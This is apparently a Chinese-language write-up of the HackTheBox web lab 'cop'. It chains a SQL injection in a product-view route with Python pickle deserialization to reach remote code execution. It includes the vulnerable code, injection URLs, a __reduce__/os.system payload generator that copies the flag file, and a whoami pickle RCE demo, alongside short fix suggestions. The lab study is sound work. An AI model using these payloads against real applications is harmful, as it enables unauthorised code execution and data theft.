目標說明
hackthebox上的web靶機,名稱為cop
,情境是購物網站
安全風險
此目標發現2個安全風險
- SQL injection漏洞
- PICKLE反序列化漏洞
安全優化建議
- 檢查使用pickle時的反序列化是否有問題
- 檢查sql語法能不能被外部修改
攻擊手法
使用sql injection漏洞將惡意的反序列化內容喂入目標,以執行特定的惡意指令
測試SQL注入漏洞
看商品時可以發現get view/1 可以查詢商品明細,而這view/1會透過models.py內的sql語法撈數據
def select_by_id(product_id):
return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)
可以發現product_id這個變數直接傳入sql查詢內,使用-1' OR '1'--
, 如下所示,
http://localhost:1333/view/-1%27%20OR%20%271%27--
測試發現返回200 ok,這表示sql執行成功. 因為沒成功會返回錯誤訊息
製做惡意的pickle序列化內容
分析app.py時發現有pickle安全漏洞,可參考補充說明
@app.template_filter('pickle')
def pickle_loads(s):
return pickle.loads(base64.b64decode(s))
根據這個漏洞製做惡意的序列化內容
import pickle
import base64
import os
class RCE:
def __reduce__(self):
payload = 'cp flag.txt application/static/.'
return os.system, (payload,)
payload = pickle.dumps(RCE())
payload_base64 = base64.b64encode(payload).decode()
print(payload_base64 )
該代碼讓目標在反序列化時執行cp flag.txt application/static/.
.由於目標先讀取base64格式,所以在這段代碼中將序列化內容做base64編碼,
然後執行該代碼產生惡意的序列化內容<malicious_pickle_base64>
將惡意內容喂入目標
為了讓惡意的序列化內容可以喂進系統,需要透過sql injection漏洞
http://localhost:1333/view/' UNION SELECT '<malicious_pickle_base64>
執行後會在目標內產生以下sql語法,
SELECT data FROM products WHERE id='' UNION SELECT '<malicious_pickle_base64>'
該語法會將惡意內容送到python的pickle模組,觸發漏洞執行指令會把flag複製到static目錄下,只要開啟網址即可得到flag
http://localhost:1333/static/flag.txt
補充說明
pickle簡介
pickle是python的模塊,用途是可以序列化和反序列化.該模塊有opcode的功能,可以執行python代碼,因此就容易產生安全問題
以下是pickle使用範例
import pickle
class demo():
def __init__(self):
self.age=18
self.name="Pickle"
p=demo()
opcode=pickle.dumps(p)
print(opcode)
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)
使用pickle.dumps()做序列化,得到 b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06demo\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'
並使用pickle.loads()做反序列化得到The age is:18 The name is:Pickle
pickle反序列漏洞
只要加入__reduce__
的function,就可以在序列化時加入要執行的指令
import pickle
import os
class Person():
def __init__(self):
self.age=18
self.name="Pickle"
def __reduce__(self):
command=r"whoami"
return (os.system,(command,))
p=Person()
opcode=pickle.dumps(p)
print(opcode)
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)
pickle.loads()一旦讀取惡意的序列化內容,就會執行代碼中指令whoami
參考文獻